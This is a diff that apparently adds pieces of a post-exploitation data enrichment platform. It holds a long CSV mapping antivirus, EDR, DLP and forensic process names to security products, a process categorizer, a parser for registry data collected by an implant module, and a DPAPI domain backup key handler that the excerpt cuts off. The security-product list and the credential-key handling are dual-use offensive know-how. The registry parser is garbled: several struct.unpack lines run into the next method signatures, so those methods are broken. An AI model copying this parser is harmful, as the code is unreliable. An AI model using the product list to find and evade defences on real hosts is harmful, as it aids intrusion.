+triumfant.exe,Triumfant behavioral analysis
+csfalcon.exe,CrowdStrike Falcon EDR
+csfalconcontainer.exe,CrowdStrike Falcon EDR
+csfalconservice.exe,CrowdStrike Falcon EDR
+ossec.exe,OSSEC intrusion detection
+tmpfw.exe,Trend Micro firewall
+dgagent.exe,Verdasys Digital Guardian DLP
+aawtray.exe,UNKNOWN
+ackwin32.exe,UNKNOWN
+ad-aware.exe,UNKNOWN
+adaware.exe,UNKNOWN
+advxdwin.exe,UNKNOWN
+agentsvr.exe,UNKNOWN
+agentw.exe,UNKNOWN
+alertsvc.exe,UNKNOWN
+alevir.exe,UNKNOWN
+alogserv.exe,UNKNOWN
+amon9x.exe,UNKNOWN
+anti-trojan.exe,UNKNOWN
+antivirus.exe,UNKNOWN
+ants.exe,UNKNOWN
+apimonitor.exe,UNKNOWN
+aplica32.exe,UNKNOWN
+apvxdwin.exe,UNKNOWN
+arr.exe,UNKNOWN
+atcon.exe,UNKNOWN
+atguard.exe,UNKNOWN
+atro55en.exe,UNKNOWN
+atupdater.exe,UNKNOWN
+atwatch.exe,UNKNOWN
+au.exe,UNKNOWN
+aupdate.exe,UNKNOWN
+auto-protect.nav80try.exe,UNKNOWN
+autodown.exe,UNKNOWN
+autoruns.exe,UNKNOWN
+autorunsc.exe,UNKNOWN
+autotrace.exe,UNKNOWN
+autoupdate.exe,UNKNOWN
+avconsol.exe,UNKNOWN
+ave32.exe,UNKNOWN
+avgcc32.exe,UNKNOWN
+avgctrl.exe,UNKNOWN
+avgemc.exe,UNKNOWN
+avgnt.exe,UNKNOWN
+avgrsx.exe,UNKNOWN
+avgserv.exe,UNKNOWN
+avgserv9.exe,UNKNOWN
+avguard.exe,UNKNOWN
+avgwdsvc.exe,UNKNOWN
+avgui.exe,UNKNOWN
+avgw.exe,UNKNOWN
+avkpop.exe,UNKNOWN
+avkserv.exe,UNKNOWN
+avkservice.exe,UNKNOWN
+avkwctl9.exe,UNKNOWN
+avltmain.exe,UNKNOWN
+avnt.exe,UNKNOWN
+avp.exe,UNKNOWN
+avp32.exe,UNKNOWN
+avpcc.exe,UNKNOWN
+avpdos32.exe,UNKNOWN
+avpm.exe,UNKNOWN
+avptc32.exe,UNKNOWN
+avpupd.exe,UNKNOWN
+avsched32.exe,UNKNOWN
+avsynmgr.exe,UNKNOWN
+avwin.exe,UNKNOWN
+avwin95.exe,UNKNOWN
+avwinnt.exe,UNKNOWN
+avwupd.exe,UNKNOWN
+avwupd32.exe,UNKNOWN
+avwupsrv.exe,UNKNOWN
+avxmonitor9x.exe,UNKNOWN
+avxmonitornt.exe,UNKNOWN
+avxquar.exe,UNKNOWN
+backweb.exe,UNKNOWN
+bargains.exe,UNKNOWN
+bd_professional.exe,UNKNOWN
+beagle.exe,UNKNOWN
+belt.exe,UNKNOWN
+besclient.exe,IBM BigFix
+bidef.exe,UNKNOWN
+bidserver.exe,UNKNOWN
+bipcp.exe,UNKNOWN
+bipcpevalsetup.exe,UNKNOWN
+bisp.exe,UNKNOWN
+blackd.exe,UNKNOWN
+blackice.exe,UNKNOWN
+blink.exe,UNKNOWN
+blss.exe,UNKNOWN
+bootconf.exe,UNKNOWN
+bootwarn.exe,UNKNOWN
+borg2.exe,UNKNOWN
+bpc.exe,UNKNOWN
+brasil.exe,UNKNOWN
+bs120.exe,UNKNOWN
+bundle.exe,UNKNOWN
+bvt.exe,UNKNOWN
+ccapp.exe,UNKNOWN
+ccevtmgr.exe,UNKNOWN
+ccpxysvc.exe,UNKNOWN
+cdp.exe,UNKNOWN
+cfd.exe,UNKNOWN
+cfgwiz.exe,UNKNOWN
+cfiadmin.exe,UNKNOWN
+cfiaudit.exe,UNKNOWN
+cfinet.exe,UNKNOWN
+cfinet32.exe,UNKNOWN
+claw95.exe,UNKNOWN
+claw95cf.exe,UNKNOWN
+clean.exe,UNKNOWN
+cleaner.exe,UNKNOWN
+cleaner3.exe,UNKNOWN
+cleanpc.exe,UNKNOWN
+cleanup.exe,UNKNOWN
+click.exe,UNKNOWN
+cmdagent.exe,UNKNOWN
+cmesys.exe,UNKNOWN
+cmgrdian.exe,UNKNOWN
+cmon016.exe,UNKNOWN
+connectionmonitor.exe,UNKNOWN
+cpd.exe,UNKNOWN
+cpf9x206.exe,UNKNOWN
+cpfnt206.exe,UNKNOWN
+ctrl.exe,UNKNOWN
+cv.exe,UNKNOWN
+cwnb181.exe,UNKNOWN
+cwntdwmo.exe,UNKNOWN
+cyprotect.exe,UNKNOWN
+cyupdate.exe,UNKNOWN
+cyserver.exe,UNKNOWN
+cytray.exe,UNKNOWN
+cyveraservice.exe,UNKNOWN
+datemanager.exe,UNKNOWN
+dcomx.exe,UNKNOWN
+defalert.exe,UNKNOWN
+defscangui.exe,UNKNOWN
+defwatch.exe,UNKNOWN
+deputy.exe,UNKNOWN
+divx.exe,UNKNOWN
+dgprompt.exe,UNKNOWN
+dgservice.exe,UNKNOWN
+dllcache.exe,UNKNOWN
+dllreg.exe,UNKNOWN
+doors.exe,UNKNOWN
+dpf.exe,UNKNOWN
+dpfsetup.exe,UNKNOWN
+dpps2.exe,UNKNOWN
+drwatson.exe,UNKNOWN
+drweb32.exe,UNKNOWN
+drwebupw.exe,UNKNOWN
+dssagent.exe,UNKNOWN
+dumpcap.exe,UNKNOWN
+dvp95.exe,UNKNOWN
+dvp95_0.exe,UNKNOWN
+ecengine.exe,UNKNOWN
+efpeadm.exe,UNKNOWN
+egui.exe,UNKNOWN
+ekrn.exe,UNKNOWN
+enstart64.exe,Encase (Forensics tool)
+emet_agent.exe,UNKNOWN
+emet_service.exe,UNKNOWN
+emsw.exe,UNKNOWN
+engineserver.exe,UNKNOWN
+ent.exe,UNKNOWN
+esafe.exe,UNKNOWN
+escanhnt.exe,UNKNOWN
+escanv95.exe,UNKNOWN
+espwatch.exe,UNKNOWN
+ethereal.exe,UNKNOWN
+etrustcipe.exe,UNKNOWN
+evpn.exe,UNKNOWN
+exantivirus-cnet.exe,UNKNOWN
+exe.avxw.exe,UNKNOWN
+expert.exe,UNKNOWN
+explore.exe,UNKNOWN
+f-agnt95.exe,UNKNOWN
+f-prot.exe,UNKNOWN
+f-prot95.exe,UNKNOWN
+f-stopw.exe,UNKNOWN
+fameh32.exe,UNKNOWN
+fast.exe,UNKNOWN
+fch32.exe,UNKNOWN
+fcagswd.exe,McAfee DLP Agent
+fcags.exe,McAfee DLP Agent
+fih32.exe,UNKNOWN
+findviru.exe,UNKNOWN
+firesvc.exe,McAfee Host Intrusion Prevention
+firetray.exe,UNKNOWN
+firewall.exe,UNKNOWN
+fnrb32.exe,UNKNOWN
+fp-win.exe,UNKNOWN
+fp-win_trial.exe,UNKNOWN
+fprot.exe,UNKNOWN
+frameworkservice.exe,UNKNOWN
+frminst.exe,UNKNOWN
+frw.exe,UNKNOWN
+fsaa.exe,UNKNOWN
+fsav.exe,UNKNOWN
+fsav32.exe,UNKNOWN
+fsav530stbyb.exe,UNKNOWN
+fsav530wtbyb.exe,UNKNOWN
+fsav95.exe,UNKNOWN
+fsgk32.exe,UNKNOWN
+fsm32.exe,UNKNOWN
+fsma32.exe,UNKNOWN
+fsmb32.exe,UNKNOWN
+gator.exe,UNKNOWN
+gbmenu.exe,UNKNOWN
+gbpoll.exe,UNKNOWN
+generics.exe,UNKNOWN
+gmt.exe,UNKNOWN
+guard.exe,UNKNOWN
+guarddog.exe,UNKNOWN
+hacktracersetup.exe,UNKNOWN
+hbinst.exe,UNKNOWN
+hbsrv.exe,UNKNOWN
+hijackthis.exe,UNKNOWN
+hipsvc.exe,UNKNOWN
+hipmgmt.exe,McAfee Host Intrusion Protection
+hotactio.exe,UNKNOWN
+hotpatch.exe,UNKNOWN
+htlog.exe,UNKNOWN
+htpatch.exe,UNKNOWN
+hwpe.exe,UNKNOWN
+hxdl.exe,UNKNOWN
+hxiul.exe,UNKNOWN
+iamapp.exe,UNKNOWN
+iamserv.exe,UNKNOWN
+iamstats.exe,UNKNOWN
+ibmasn.exe,UNKNOWN
+ibmavsp.exe,UNKNOWN
+icload95.exe,UNKNOWN
+icloadnt.exe,UNKNOWN
+icmon.exe,UNKNOWN
+icsupp95.exe,UNKNOWN
+icsuppnt.exe,UNKNOWN
+idle.exe,UNKNOWN
+iedll.exe,UNKNOWN
+iedriver.exe,UNKNOWN
+iface.exe,UNKNOWN
+ifw2000.exe,UNKNOWN
+inetlnfo.exe,UNKNOWN
+infus.exe,UNKNOWN
+infwin.exe,UNKNOWN
+init.exe,UNKNOWN
+intdel.exe,UNKNOWN
+intren.exe,UNKNOWN
+iomon98.exe,UNKNOWN
+istsvc.exe,UNKNOWN
+jammer.exe,UNKNOWN
+jdbgmrg.exe,UNKNOWN
+jedi.exe,UNKNOWN
+kavlite40eng.exe,UNKNOWN
+kavpers40eng.exe,UNKNOWN
+kavpf.exe,UNKNOWN
+kazza.exe,UNKNOWN
+keenvalue.exe,UNKNOWN
+kerio-pf-213-en-win.exe,UNKNOWN
+kerio-wrl-421-en-win.exe,UNKNOWN
+kerio-wrp-421-en-win.exe,UNKNOWN
+kernel32.exe,UNKNOWN
+keypass.exe,UNKNOWN
+killprocesssetup161.exe,UNKNOWN
+launcher.exe,UNKNOWN
+ldnetmon.exe,UNKNOWN
+ldpro.exe,UNKNOWN
+ldpromenu.exe,UNKNOWN
+ldscan.exe,UNKNOWN
+lnetinfo.exe,UNKNOWN
+loader.exe,UNKNOWN
+localnet.exe,UNKNOWN
+lockdown.exe,UNKNOWN
+lockdown2000.exe,UNKNOWN
+lookout.exe,UNKNOWN
+lordpe.exe,UNKNOWN
+lsetup.exe,UNKNOWN
+luall.exe,UNKNOWN
+luau.exe,UNKNOWN
+lucomserver.exe,UNKNOWN
+luinit.exe,UNKNOWN
+luspt.exe,UNKNOWN
+mapisvc32.exe,UNKNOWN
+macmnsvc.exe,McAfee
+macompatsvc.exe,McAfee
+masvc.exe,McAfee
+mfeesp.exe,McAfee
+mfemactl.exe,McAfee
+mfetp.exe,McAfee
+mfecanary.exe,McAfee
+mfemms.exe,McAfee
+mbamservice.exe,UNKNOWN
+mcafeefire.exe,UNKNOWN
+mcagent.exe,UNKNOWN
+mcmnhdlr.exe,UNKNOWN
+mcscript.exe,UNKNOWN
+mcscript_inuse.exe,UNKNOWN
+mctool.exe,UNKNOWN
+mctray.exe,UNKNOWN
+mcupdate.exe,UNKNOWN
+mcvsrte.exe,UNKNOWN
+mcvsshld.exe,UNKNOWN
+md.exe,UNKNOWN
+mfeann.exe,McAfee VirusScan Enterprise
+mfevtps.exe,UNKNOWN
+mfin32.exe,UNKNOWN
+mfw2en.exe,UNKNOWN
+mfweng3.02d30.exe,UNKNOWN
+mgavrtcl.exe,UNKNOWN
+mgavrte.exe,UNKNOWN
+mghtml.exe,UNKNOWN
+mgui.exe,UNKNOWN
+minilog.exe,UNKNOWN
+minionhost.exe,Cyberreason
+mmod.exe,UNKNOWN
+monitor.exe,UNKNOWN
+moolive.exe,UNKNOWN
+mostat.exe,UNKNOWN
+mpfagent.exe,UNKNOWN
+mpfservice.exe,UNKNOWN
+mpftray.exe,UNKNOWN
+mrflux.exe,UNKNOWN
+msapp.exe,UNKNOWN
+msbb.exe,UNKNOWN
+msblast.exe,UNKNOWN
+mscache.exe,UNKNOWN
+msccn32.exe,UNKNOWN
+mscman.exe,UNKNOWN
+msconfig.exe,UNKNOWN
+msdm.exe,UNKNOWN
+msdos.exe,UNKNOWN
+msiexec16.exe,UNKNOWN
+msinfo32.exe,UNKNOWN
+mslaugh.exe,UNKNOWN
+msmgt.exe,UNKNOWN
+msmsgri32.exe,UNKNOWN
+mssense.exe,Microsoft Defender ATP
+sensecncproxy.exe,Microsoft Defender ATP
+mssmmc32.exe,UNKNOWN
+mssys.exe,UNKNOWN
+msvxd.exe,UNKNOWN
+mu0311ad.exe,UNKNOWN
+mwatch.exe,UNKNOWN
+n32scanw.exe,UNKNOWN
+naprdmgr.exe,UNKNOWN
+nav.exe,UNKNOWN
+navap.navapsvc.exe,UNKNOWN
+navapsvc.exe,UNKNOWN
+navapw32.exe,UNKNOWN
+navdx.exe,UNKNOWN
+navlu32.exe,UNKNOWN
+navnt.exe,UNKNOWN
+navstub.exe,UNKNOWN
+navw32.exe,UNKNOWN
+navwnt.exe,UNKNOWN
+nc2000.exe,UNKNOWN
+ncinst4.exe,UNKNOWN
+ndd32.exe,UNKNOWN
+neomonitor.exe,UNKNOWN
+neowatchlog.exe,UNKNOWN
+netarmor.exe,UNKNOWN
+netd32.exe,UNKNOWN
+netinfo.exe,UNKNOWN
+netmon.exe,UNKNOWN
+netscanpro.exe,UNKNOWN
+netspyhunter-1.2.exe,UNKNOWN
+netstat.exe,UNKNOWN
+netutils.exe,UNKNOWN
+nisserv.exe,UNKNOWN
+nisum.exe,UNKNOWN
+nmain.exe,UNKNOWN
+nod32.exe,UNKNOWN
+normist.exe,UNKNOWN
+norton_internet_secu_3.0_407.exe,UNKNOWN
+notstart.exe,UNKNOWN
+npf40_tw_98_nt_me_2k.exe,UNKNOWN
+npfmessenger.exe,UNKNOWN
+nprotect.exe,UNKNOWN
+npscheck.exe,UNKNOWN
+npssvc.exe,UNKNOWN
+nsched32.exe,UNKNOWN
+nssys32.exe,UNKNOWN
+nstask32.exe,UNKNOWN
+nsupdate.exe,UNKNOWN
+nt.exe,UNKNOWN
+ntrtscan.exe,UNKNOWN
+ntvdm.exe,UNKNOWN
+ntxconfig.exe,UNKNOWN
+nui.exe,UNKNOWN
+nupgrade.exe,UNKNOWN
+nvarch16.exe,UNKNOWN
+nvc95.exe,UNKNOWN
+nvsvc32.exe,UNKNOWN
+nwinst4.exe,UNKNOWN
+nwservice.exe,UNKNOWN
+nwtool16.exe,UNKNOWN
+nxlog.exe,UNKNOWN
+ollydbg.exe,UNKNOWN
+onsrvr.exe,UNKNOWN
+optimize.exe,UNKNOWN
+ostronet.exe,UNKNOWN
+osqueryd.exe,UNKNOWN
+otfix.exe,UNKNOWN
+outpost.exe,UNKNOWN
+outpostinstall.exe,UNKNOWN
+outpostproinstall.exe,UNKNOWN
+padmin.exe,UNKNOWN
+panixk.exe,UNKNOWN
+patch.exe,UNKNOWN
+pavcl.exe,UNKNOWN
+pavproxy.exe,UNKNOWN
+pavsched.exe,UNKNOWN
+pavw.exe,UNKNOWN
+pccwin98.exe,UNKNOWN
+pcfwallicon.exe,UNKNOWN
+pcip10117_0.exe,UNKNOWN
+pcscan.exe,UNKNOWN
+pdsetup.exe,UNKNOWN
+periscope.exe,UNKNOWN
+persfw.exe,UNKNOWN
+perswf.exe,UNKNOWN
+pf2.exe,UNKNOWN
+pfwadmin.exe,UNKNOWN
+pgmonitr.exe,UNKNOWN
+pingscan.exe,UNKNOWN
+platin.exe,UNKNOWN
+pop3trap.exe,UNKNOWN
+poproxy.exe,UNKNOWN
+popscan.exe,UNKNOWN
+portdetective.exe,UNKNOWN
+portmonitor.exe,UNKNOWN
+powerscan.exe,UNKNOWN
+ppinupdt.exe,UNKNOWN
+pptbc.exe,UNKNOWN
+ppvstop.exe,UNKNOWN
+prizesurfer.exe,UNKNOWN
+prmt.exe,UNKNOWN
+prmvr.exe,UNKNOWN
+procdump.exe,UNKNOWN
+processmonitor.exe,UNKNOWN
+procexp.exe,UNKNOWN
+procexp64.exe,UNKNOWN
+procexplorerv1.0.exe,UNKNOWN
+procmon.exe,UNKNOWN
+programauditor.exe,UNKNOWN
+proport.exe,UNKNOWN
+protectx.exe,UNKNOWN
+pspf.exe,UNKNOWN
+purge.exe,UNKNOWN
+qconsole.exe,UNKNOWN
+qserver.exe,UNKNOWN
+rapapp.exe,UNKNOWN
+rav7.exe,UNKNOWN
+rav7win.exe,UNKNOWN
+rav8win32eng.exe,UNKNOWN
+ray.exe,UNKNOWN
+rb32.exe,UNKNOWN
+rcsync.exe,UNKNOWN
+realmon.exe,UNKNOWN
+reged.exe,UNKNOWN
+regedit.exe,UNKNOWN
+regedt32.exe,UNKNOWN
+rescue.exe,UNKNOWN
+rescue32.exe,UNKNOWN
+rrguard.exe,UNKNOWN
+rtvscan.exe,UNKNOWN
+rtvscn95.exe,UNKNOWN
+rulaunch.exe,UNKNOWN
+run32dll.exe,UNKNOWN
+rundll.exe,UNKNOWN
+rundll16.exe,UNKNOWN
+ruxdll32.exe,UNKNOWN
+safeweb.exe,UNKNOWN
+sahagent.exescan32.exe,UNKNOWN
+save.exe,UNKNOWN
+savenow.exe,UNKNOWN
+sbserv.exe,UNKNOWN
+scam32.exe,UNKNOWN
+scan32.exe,UNKNOWN
+scan95.exe,UNKNOWN
+scanpm.exe,UNKNOWN
+scrscan.exe,UNKNOWN
+sentinelone.exe,SentinelOne Endpoint Security Software
+serv95.exe,UNKNOWN
+setupvameeval.exe,UNKNOWN
+setup_flowprotector_us.exe,UNKNOWN
+sfc.exe,UNKNOWN
+sgssfw32.exe,UNKNOWN
+sh.exe,UNKNOWN
+shellspyinstall.exe,UNKNOWN
+shn.exe,UNKNOWN
+showbehind.exe,UNKNOWN
+shstat.exe,McAfee VirusScan Enterprise
+smc.exe,UNKNOWN
+sms.exe,UNKNOWN
+smcgui.exe,Symantec Endpoint Detection
+smss32.exe,UNKNOWN
+snac64.exe,Symantec Endpoint Detection
+wdp.exe,Symantec Endpoint Detection
+sofi.exe,UNKNOWN
+sperm.exe,UNKNOWN
+splunk.exe,Splunk
+splunkd.exe,Splunk
+splunk-admon.exe,Splunk
+splunk-powershell.exe,Splunk
+splunk-winevtlog.exe,Splunk
+spf.exe,UNKNOWN
+sphinx.exe,UNKNOWN
+spoler.exe,UNKNOWN
+spoolcv.exe,UNKNOWN
+spoolsv32.exe,UNKNOWN
+spyxx.exe,UNKNOWN
+srexe.exe,UNKNOWN
+srng.exe,UNKNOWN
+ss3edit.exe,UNKNOWN
+ssgrate.exe,UNKNOWN
+ssg_4104.exe,UNKNOWN
+st2.exe,UNKNOWN
+start.exe,UNKNOWN
+stcloader.exe,UNKNOWN
+supftrl.exe,UNKNOWN
+support.exe,UNKNOWN
+supporter5.exe,UNKNOWN
+svchostc.exe,UNKNOWN
+svchosts.exe,UNKNOWN
+sweep95.exe,UNKNOWN
+sweepnet.sweepsrv.sys.swnetsup.exe,UNKNOWN
+symproxysvc.exe,UNKNOWN
+symtray.exe,UNKNOWN
+sysedit.exe,UNKNOWN
+sysmon.exe,Sysinternals Sysmon
+sysupd.exe,UNKNOWN
+taniumclient.exe,Tanium
+taskmg.exe,UNKNOWN
+taskmo.exe,UNKNOWN
+taumon.exe,UNKNOWN
+tbmon.exe,UNKNOWN
+tbscan.exe,UNKNOWN
+tc.exe,UNKNOWN
+tca.exe,UNKNOWN
+tcm.exe,UNKNOWN
+tcpview.exe,UNKNOWN
+tds-3.exe,UNKNOWN
+tds2-98.exe,UNKNOWN
+tds2-nt.exe,UNKNOWN
+teekids.exe,UNKNOWN
+tfak.exe,UNKNOWN
+tfak5.exe,UNKNOWN
+tgbob.exe,UNKNOWN
+titanin.exe,UNKNOWN
+titaninxp.exe,UNKNOWN
+tlaservice.exe,UNKNOWN
+tlaworker.exe,UNKNOWN
+tracert.exe,UNKNOWN
+trickler.exe,UNKNOWN
+trjscan.exe,UNKNOWN
+trjsetup.exe,UNKNOWN
+trojantrap3.exe,UNKNOWN
+tsadbot.exe,UNKNOWN
+tshark.exe,UNKNOWN
+tvmd.exe,UNKNOWN
+tvtmd.exe,UNKNOWN
+udaterui.exe,UNKNOWN
+undoboot.exe,UNKNOWN
+updat.exe,UNKNOWN
+update.exe,UNKNOWN
+updaterui.exe,UNKNOWN
+upgrad.exe,UNKNOWN
+utpost.exe,UNKNOWN
+vbcmserv.exe,UNKNOWN
+vbcons.exe,UNKNOWN
+vbust.exe,UNKNOWN
+vbwin9x.exe,UNKNOWN
+vbwinntw.exe,UNKNOWN
+vcsetup.exe,UNKNOWN
+vet32.exe,UNKNOWN
+vet95.exe,UNKNOWN
+vettray.exe,UNKNOWN
+vfsetup.exe,UNKNOWN
+vir-help.exe,UNKNOWN
+virusmdpersonalfirewall.exe,UNKNOWN
+vnlan300.exe,UNKNOWN
+vnpc3000.exe,UNKNOWN
+vpc32.exe,UNKNOWN
+vpc42.exe,UNKNOWN
+vpfw30s.exe,UNKNOWN
+vptray.exe,UNKNOWN
+vscan40.exe,UNKNOWN
+vscenu6.02d30.exe,UNKNOWN
+vsched.exe,UNKNOWN
+vsecomr.exe,UNKNOWN
+vshwin32.exe,UNKNOWN
+vsisetup.exe,UNKNOWN
+vsmain.exe,UNKNOWN
+vsmon.exe,UNKNOWN
+vsstat.exe,UNKNOWN
+vstskmgr.exe,McAfee VirusScan Enterprise
+vswin9xe.exe,UNKNOWN
+vswinntse.exe,UNKNOWN
+vswinperse.exe,UNKNOWN
+w32dsm89.exe,UNKNOWN
+w9x.exe,UNKNOWN
+watchdog.exe,UNKNOWN
+webdav.exe,UNKNOWN
+webscanx.exe,UNKNOWN
+webtrap.exe,UNKNOWN
+wfindv32.exe,UNKNOWN
+whoswatchingme.exe,UNKNOWN
+wimmun32.exe,UNKNOWN
+win-bugsfix.exe,UNKNOWN
+win32.exe,UNKNOWN
+win32us.exe,UNKNOWN
+winactive.exe,UNKNOWN
+window.exe,UNKNOWN
+windows.exe,UNKNOWN
+wininetd.exe,UNKNOWN
+wininitx.exe,UNKNOWN
+winlogin.exe,UNKNOWN
+winmain.exe,UNKNOWN
+winnet.exe,UNKNOWN
+winppr32.exe,UNKNOWN
+winrecon.exe,UNKNOWN
+winservn.exe,UNKNOWN
+winssk32.exe,UNKNOWN
+winstart.exe,UNKNOWN
+winstart001.exe,UNKNOWN
+wintsk32.exe,UNKNOWN
+winupdate.exe,UNKNOWN
+wireshark.exe,UNKNOWN
+wkufind.exe,UNKNOWN
+wnad.exe,UNKNOWN
+wnt.exe,UNKNOWN
+wradmin.exe,UNKNOWN
+wrctrl.exe,UNKNOWN
+wsbgate.exe,UNKNOWN
+wupdater.exe,UNKNOWN
+wupdt.exe,UNKNOWN
+wyvernworksfirewall.exe,UNKNOWN
+xagt.exe,FireEye Endpoint Security (HX)
+xpf202en.exe,UNKNOWN
+zapro.exe,UNKNOWN
+zapsetup3001.exe,UNKNOWN
+zatutor.exe,UNKNOWN
+zonalm2601.exe,UNKNOWN
+zonealarm.exe,UNKNOWN
+_avp32.exe,UNKNOWN
+_avpcc.exe,UNKNOWN
+rshell.exe,UNKNOWN
+_avpm.exe,UNKNOWN
diff --git a/cmd/enrichment/enrichment/tasks/process_categorizer/process_categorizer.py b/cmd/enrichment/enrichment/tasks/process_categorizer/process_categorizer.py
new file mode 100644
index 0000000..b4f3562
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/process_categorizer/process_categorizer.py
@@ -0,0 +1,69 @@
+# Standard Libraries
+import asyncio
+from typing import List
+
+# 3rd Party Libraries
+import nemesiscommon.constants as constants
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from enrichment.tasks.process_categorizer.categorizer import ProcessCategorizerInterface
+from nemesiscommon.messaging import (
+ MessageQueueConsumerInterface,
+ MessageQueueProducerInterface,
+)
+from nemesiscommon.tasking import TaskInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+
+logger = structlog.get_logger(module=__name__)
+
+
+class ProcessCategorizer(TaskInterface):
+ categorizer: ProcessCategorizerInterface
+ out_q_process: MessageQueueProducerInterface
+
+ def __init__(
+ self,
+ in_q_process: MessageQueueConsumerInterface,
+ out_q_processenriched: MessageQueueProducerInterface,
+ categorizer: ProcessCategorizerInterface,
+ ):
+ self.in_q_process = in_q_process
+ self.out_q_process = out_q_processenriched
+ self.categorizer = categorizer
+
+ async def run(self) -> None:
+ await self.in_q_process.Read(self.process_message) # type: ignore
+ await asyncio.Future()
+
+ @aio.time(Summary("process_process_data_enriched", "Time spent categorizing a process")) # type: ignore
+ async def process_message(self, ingestedProcMsg: pb.ProcessIngestionMessage) -> None:
+ total_procs = len(ingestedProcMsg.data)
+
+ await logger.adebug("Received ProcessIngestionMessage", total_procs=total_procs)
+
+ enrichedProcMsg = pb.ProcessEnrichedMessage()
+ enrichedProcMsg.metadata.CopyFrom(ingestedProcMsg.metadata)
+
+ for i in range(total_procs):
+ ingestedProc = ingestedProcMsg.data[i]
+
+ enrichedProc = pb.ProcessEnriched()
+ enrichedProc.origin.CopyFrom(ingestedProc)
+
+ enrichments_success: List[str] = []
+ # enrichments_failure = []
+
+ category = await self.categorizer.lookup(ingestedProc.name)
+
+ # right now there is no failure mode for the lookup so there are no enrichments_failure
+ enrichments_success.append(constants.E_PROCESS_CATEGORY)
+
+ enrichedProc.category.category = category.category
+ if category.description:
+ enrichedProc.category.description = category.description
+
+ enrichedProc.enrichments_success.extend(enrichments_success)
+ enrichedProcMsg.data.append(enrichedProc)
+
+ await self.out_q_process.Send(enrichedProcMsg.SerializeToString())
diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py
new file mode 100644
index 0000000..c86c43b
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/bof_reg_collect_parser.py
@@ -0,0 +1,124 @@
+# Standard Libraries
+import base64
+import json
+import struct
+import sys
+from typing import List, NamedTuple, Tuple, Union
+
+REG_NONE = 0
+REG_SZ = 1
+REG_EXPAND_SZ = 2
+REG_BINARY = 3
+REG_DWORD = 4
+REG_DWORD_BIG_ENDIAN = 5
+REG_LINK = 6
+REG_MULTI_SZ = 7
+# REG_RESOURCE_LIST = 8
+# REG_FULL_RESOURCE_DESCRIPTOR = 9
+# REG_RESOURCE_REQUIREMENTS_LIST = 10
+REG_QWORD = 11
+
+
+class RegKey(NamedTuple):
+ type_: int
+ path: str
+ path_size: int
+ key: str
+ key_size: int
+ value: Union[bytes, int, List[bytes]]
+ value_size: int
+
+
+class BofRegCollect:
+ def __init__(self, data: bytes):
+ self.data = data
+
+ @classmethod
+ def from_file(cls, path: str) -> "BofRegCollect":
+ with open(path, "rb") as f:
+ return cls(f.read())
+
+ def read_unsigned_int(self) -> int:
+ (ret,), self.data = struct.unpack(">I", self.data[:4]), self.data[4:]
+ return ret
+
+ def read_unsigned_long(self) -> int:
+ (ret,), self.data = struct.unpack(" int:
+ (ret,), self.data = struct.unpack(">L", self.data[:4]), self.data[4:]
+ return ret
+
+ def read_unsigned_long_long(self) -> int:
+ (ret,), self.data = struct.unpack(" bytes:
+ (ret,), self.data = struct.unpack(f">{length}s", self.data[:length]), self.data[length:]
+ return ret
+
+ def read_string(self) -> Tuple[bytes, int]:
+ size = self.read_unsigned_int()
+ if size == 0:
+ return b"", size
+ ret = self.read_fixed_string(size)
+ return ret, size
+
+ def read_key(self) -> Tuple[RegKey, bytes]:
+ type_ = self.read_unsigned_int()
+ path, path_size = self.read_string()
+ path = path.decode("utf-16")
+
+ key, key_size = self.read_string()
+ key = key.decode("utf-16")
+ if key == "(default)":
+ key = ""
+
+ value = b""
+ value_length = 0
+
+ if type_ == REG_NONE:
+ self.read_unsigned_int()
+ elif type_ == REG_DWORD:
+ self.read_unsigned_int()
+ value = self.read_unsigned_long()
+ elif type_ == REG_BINARY:
+ value, value_length = self.read_string()
+ value = base64.b64encode(value).decode("ASCII")
+ elif type_ == REG_DWORD_BIG_ENDIAN:
+ self.read_unsigned_int()
+ value = self.read_unsigned_long_be()
+ elif type_ == REG_MULTI_SZ:
+ value, value_length = self.read_string()
+ value = [v for v in value.decode("utf-16").split("\0") if v != ""]
+ elif type_ == REG_QWORD:
+ self.read_unsigned_int()
+ value = self.read_unsigned_long_long()
+ else:
+ value, value_length = self.read_string()
+ value = value.decode("utf-16").strip("\x00")
+
+ return RegKey(type_, path, path_size, key, key_size, value, value_length)
+
+ def parse(self) -> List[RegKey]:
+ arr = []
+ arr_size = self.read_unsigned_int()
+
+ for i in range(arr_size):
+ reg_key = self.read_key()
+ arr.append(reg_key)
+ return arr
+
+
+if __name__ == "__main__":
+ if len(sys.argv) != 3:
+ print("Usage: python nemesis_reg_parser.py ")
+ sys.exit(1)
+
+ input_path = sys.argv[1]
+ output_path = sys.argv[2]
+
+ reg = [k._asdict() for k in BofRegCollect.from_file(input_path).parse()]
+ with open(output_path, "w") as f:
+ json.dump(reg, f)
diff --git a/cmd/enrichment/enrichment/tasks/raw_data_tag/dpapi_domain_backupkey.py b/cmd/enrichment/enrichment/tasks/raw_data_tag/dpapi_domain_backupkey.py
new file mode 100644
index 0000000..1355c6a
--- /dev/null
+++ b/cmd/enrichment/enrichment/tasks/raw_data_tag/dpapi_domain_backupkey.py
@@ -0,0 +1,75 @@
+# Standard Libraries
+import base64
+import json
+import os
+import uuid
+from typing import Dict
+
+# 3rd Party Libraries
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from nemesiscommon.messaging import MessageQueueProducerInterface
+from nemesiscommon.storage import StorageInterface
+
+logger = structlog.get_logger(__name__)
+
+
+class dpapi_domain_backupkey:
+ dpapi_domain_backupkey_q_out: MessageQueueProducerInterface
+ storage: StorageInterface
+ tasks_set = set()
+
+ def __init__(
+ self,
+ dpapi_domain_backupkey_q_out: MessageQueueProducerInterface,
+ storage: StorageInterface,
+ ):
+ self.dpapi_domain_backupkey_q_out = dpapi_domain_backupkey_q_out
+ self.storage = storage
+
+ async def process(self, event: pb.RawDataIngestion, metadata: pb.Metadata):
+ if not event.is_file:
+ await logger.awarning("Received a DPAPI backupkey file that is not a file", metadata=metadata)
+ return
+
+ # When the raw_data record has is_file=True, the "event.data" field is the file object UUID
+ filename = uuid.UUID(event.data)
+
+ with await self.storage.download(filename) as temp_file:
+ # get temp file size
+ size = os.path.getsize(temp_file.name)
+ if size == 0:
